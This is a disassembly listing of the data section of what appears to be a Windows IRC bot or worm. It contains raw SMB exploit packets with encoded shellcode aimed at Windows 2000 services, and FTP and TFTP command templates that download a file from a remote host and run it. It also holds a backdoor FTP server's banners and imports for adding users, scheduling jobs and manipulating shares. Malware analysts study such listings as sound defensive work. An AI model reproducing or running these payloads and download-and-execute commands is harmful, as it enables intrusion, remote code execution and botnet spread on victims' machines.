dword_419EB0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+17Eo
					; sub_402972+1F4o
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 9001F00h,	0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
		dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
		dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
		dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh,	3E23A807h
		dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
		dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h,	40AF5374h
		dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
		dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru	db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
		db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
		align 10h
dword_41A010	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+198o
					; sub_402972+20Eo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
		dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
		dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
		dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
		dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
		dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
		dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
		dd 46377936h, 4534979h,	6F000208h, 6A695059h, 584A5559h
		dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
		dd 44B4B50h, 49000208h,	6E5A5671h, 46C554Fh, 77000208h
		dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
		dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0AD91A700h, 2 dup(0)
dword_41A170	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+1AFo
					; sub_402972+225o
		dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	2 dup(0)
unk_41A1E0	db  81h	; 		; DATA XREF: sub_402972+283o
		db 2 dup(0), 44h
aCkfdenecfdef_1	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_41A230	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+2A4o
		dd 2D80000h, 97230000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_41A290	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+2BEo
		dd 2D80000h, 97230000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
		dd 2 dup(0)
dword_41A348	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+2D8o
		dd 2D80000h, 97230800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0A3h
		db  9Eh	; 
		db 5Eh,	9Bh, 4
		db  57h	; W
		db 0E3h, 15h, 0B7h
		db  6Fh	; o
		db 44h,	0E9h, 1Eh
		db  49h	; I
		db 0FEh, 0C0h, 0BEh
		db 0E9h	; 
		db 0A6h, 0A7h, 7Fh
aPmiw		db 'pmiW',0
aO_0		db 'O',0
aR_0		db 'R',0
aK_0		db 'K',0
aS_1		db 'S',0
		dd offset loc_410051+3
		dd offset dword_490054
		db 4Fh,	0, 4Eh
		db    0
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 10h
dword_41A440	dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+2EFo
		dd 2D80000h, 97230000h,	0FF0Dh,	2FFDF00h, 100h,	2 dup(0)
		db    0
		db 2 dup(0), 40h
		db    0
		db 2 dup(0), 25h
		db    0
		db 2 dup(0), 57h
aIndows200021_1	db 'indows 2000 2195',0
aWindows20005_4	db 'Windows 2000 5.0',0
		align 4
dword_41A4A8	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+306o
		dd 2D80000h, 97230801h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41A4E8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+31Do
		dd 2D80800h, 97230801h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_41A550	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+337o
		dd 2D80800h, 97230801h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_41A5E8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+351o
					; sub_402972+3E0o
		dd 2D80800h, 97230801h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0F2001F00h, 1F2207Ch, 0
		dd 1000000h, 0
		dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
		dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
		dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
		dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
		dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
		dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh,	274F9848h
		dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
		dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
		dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh,	4696FC4Fh
		dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
		dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
		dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0
dword_41A748	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+36Bo
					; sub_402972+3FAo
		dd 2D80800h, 97230801h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
		dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
		dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
		dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah,	49484B97h
		dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
		dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
		dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
		dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
		dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh,	984137F8h
		dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
		dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
		dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
		dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h,	4191D6h
		dd 0
dword_41A8A8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+385o
					; sub_402972+414o
		dd 2D80800h, 97230801h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 0FD001F00h, 424ED627h, 9897414Ah,	4B424240h, 0F5F9FD3Fh
		dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
		dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
		dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
		dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
		dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h,	49434A3Fh
		dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
		dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
		dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
		dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
		dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
		dd 82B25B78h, 8F61B8Fh,	11C1951Ch, 8AE4178h, 3D055718h
		dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
		dd 0
dword_41AA08	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+39Fo
					; sub_402972+42Eo
		dd 2D80800h, 97230801h,	0FF0Eh,	48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
		dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
		dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh,	61E84D95h
		dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh,	80D1C80Ch
		dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
		dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
		dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
		dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
		dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
		dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h,	4B7033B1h
		dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
		dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh,	0DF714D3Dh
		dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch,	617623h
		dd 0
dword_41AB68	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+3B9o
					; sub_402972+448o
		dd 2D80800h, 97230801h,	80000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd 680000h, 0
		dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
		dd 0BE895Bh, 20000h, 0
		dd 20000h, 2EB0000h, 760000h, 2	dup(0)
dword_41AC38	dd 0A0D7325h, 0		; DATA XREF: sub_402E09+100o
					; sub_406BAB+28B8o
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_402E09+BCo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_402E09+95o
aAdminS__RootSe	db 'Admin (%s) ..  Root searching %s',0 ; DATA XREF: .nsp0:00402FC6o
		align 4
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_4030CD+35o
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_4030CD+10o
		align 10h
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_403145+63o
		align 4
dword_41AD24	dd 78h			; DATA XREF: sub_40322D+Ar
dword_41AD28	dd 80000002h		; DATA XREF: sub_4031BC+24r
off_41AD2C	dd offset aSoftwareMicros ; DATA XREF: sub_4031BC+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h, 41C23Ch, 80000001h, 41C274h
dword_41AD40	dd 6272h		; DATA XREF: sub_40327E+Bo
					; sub_404475+24o ...
unk_41AD44	db  1Fh			; DATA XREF: sub_4032EE+480o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aBadUrlOrDnsErr	db ' Bad URL, or DNS Error: %s.',0
		align 4
unk_41AD74	db  1Fh			; DATA XREF: sub_4032EE+472o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aUpdateFailedEr	db ' Update failed: Error executing file: %s.',0
		align 10h
unk_41ADB0	db  1Fh			; DATA XREF: sub_4032EE+3B6o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aDownloaded_1fk	db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_41ADF4	dd 264021Fh, 6E776F1Fh,	64616F6Ch, 2BB0220h, 704F20BBh
					; DATA XREF: sub_4032EE+34Do
		dd 64656E65h, 7325203Ah, 2Eh
aOpen		db 'open',0             ; DATA XREF: sub_4032EE+32Bo
					; sub_406BAB+1216o ...
		align 4
unk_41AE1C	db  1Fh			; DATA XREF: sub_4032EE+2D6o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aDownloaded_1fK	db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_41AE58	db  1Fh			; DATA XREF: sub_4032EE+257o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aCrcFailedDD_	db ' CRC Failed (%d != %d).',0
		align 4
unk_41AE84	db  1Fh			; DATA XREF: sub_4032EE+1CDo
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aFilesizeIsInco	db ' Filesize is incorrect: (%d != %d).',0
		align 4
unk_41AEBC	db  1Fh			; DATA XREF: sub_4032EE:loc_403486o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aUpdateSDkbTran	db ' Update: %s (%dKB transferred).',0
		align 10h
unk_41AEF0	db  1Fh			; DATA XREF: sub_4032EE+191o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aFileDownloadSD	db ' File download: %s (%dKB transferred).',0
unk_41AF28	db  1Fh			; DATA XREF: sub_4032EE+77o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_403882:loc_4038C5o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_403882:loc_4038BFo
aDisk		db 'Disk',0             ; DATA XREF: sub_403882:loc_4038B9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_403882:loc_4038B3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_403882:loc_4038ADo
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_403882:loc_4038A7o
word_41AF80	dw 3Fh			; DATA XREF: sub_403882+1Fo
					; sub_40A1F9:loc_40A2FBr
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_403913:loc_4039EBo
					; sub_403A2E+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_403913+6Bo
		align 4
unk_41AF94	db  1Fh			; DATA XREF: sub_403A2E+8Eo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aSDriveSSTotalS	db ' %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_41AFD4	db  1Fh			; DATA XREF: sub_403A2E+58o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aSDriveSFailedT	db ' %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_1		db 'A:\',0              ; DATA XREF: sub_403B00:loc_403B45o
dword_41B018	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_403CA3+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B064	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_403CA3+E3o
; ---------------------------------------------------------------------------


loc_41B080:				; DATA XREF: sub_403CA3+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_41B094	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_403CA3+13Fo
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403E11+5B1o
aQuit		db 'QUIT',0             ; DATA XREF: sub_403E11+59Do
					; sub_406BAB+4F5o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_403E11+590o
		align 10h
unk_41B0F0	db  1Fh			; DATA XREF: sub_403E11+545o
		db 5Bh,	1Fh, 2
		db  52h	; R
		db 2 dup(4Fh), 54h
		db  45h	; E
		db 44h,	2, 1Fh
		db  5Dh	; ]
		db 1Fh,	20h, 0BBh
aFtpFinishedSDR	db ' ftp finished: %s:%d running %s',0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403E11+526o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_403E11+4FAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_403E11+4E2o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403E11+4D2o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_403E11+4C1o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_403E11+48Eo
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403E11+44Ao
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_403E11+411o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403E11+3E3o
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_403E11+3D0o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_403E11+395o
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_403E11+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403E11+372o
aI:					; DATA XREF: sub_403E11+35Eo
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403E11+337o
aA:					; DATA XREF: sub_403E11+323o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_403E11+30Co
					; sub_403E11+347o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403E11+2FCo
		align 10h
off_41B280	dd offset dword_445750	; DATA XREF: sub_403E11+2E8o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403E11+2D8o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_403E11+2C4o
		align 10h
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_403E11+2B4o
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_403E11+2A0o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403E11+290o
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_403E11+27Co
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_403E11+26Co
		align 10h
aUser		db 'USER',0             ; DATA XREF: sub_403E11+257o
					; .nsp0:0041C36Co ...
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_403E11+246o
		align 10h
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403E11+1C8o
		align 4
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_404555+58o
aS_0		db '%s',0               ; DATA XREF: sub_404555+3Bo
					; sub_405EC4+19o
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_404555+16o
					; sub_406BAB+5D3o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_404555+Fo
					; sub_406BAB+5DFo
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4045F0+B3Co
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4045F0+B2Fo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4045F0+B22o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4045F0+B15o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4045F0+B08o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4045F0+B00o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4045F0:loc_4050DFo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4045F0+ABEo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4045F0+AB6o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4045F0:loc_405095o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4045F0+A64o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4045F0+A57o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4045F0+A4Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4045F0+A42o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4045F0:loc_405021o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4045F0+A00o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4045F0+9F8o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4045F0:loc_404FD7o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4045F0+9B6o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4045F0+9AEo
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4045F0:loc_404F8Do
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4045F0+924o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4045F0+917o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4045F0+90Ao
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4045F0+8FDo
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4045F0+8F0o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4045F0+8E3o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4045F0+8D6o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4045F0+8C9o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4045F0+8BCo
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4045F0+8AFo
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4045F0+8A7o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4045F0:loc_404E82o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4045F0+84Do
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4045F0+7DBo
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4045F0+7CEo
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4045F0+7C1o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4045F0+7B4o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4045F0+7A7o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4045F0+79Ao
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4045F0+78Do
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4045F0+780o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4045F0+773o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4045F0+76Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4045F0:loc_404D46o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4045F0+62Co
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4045F0+61Fo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4045F0+612o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4045F0+605o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4045F0+5F8o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4045F0+5EBo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4045F0+5DEo
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_4045F0+5D1o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4045F0+5C4o
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_4045F0+5B7o
		align 4
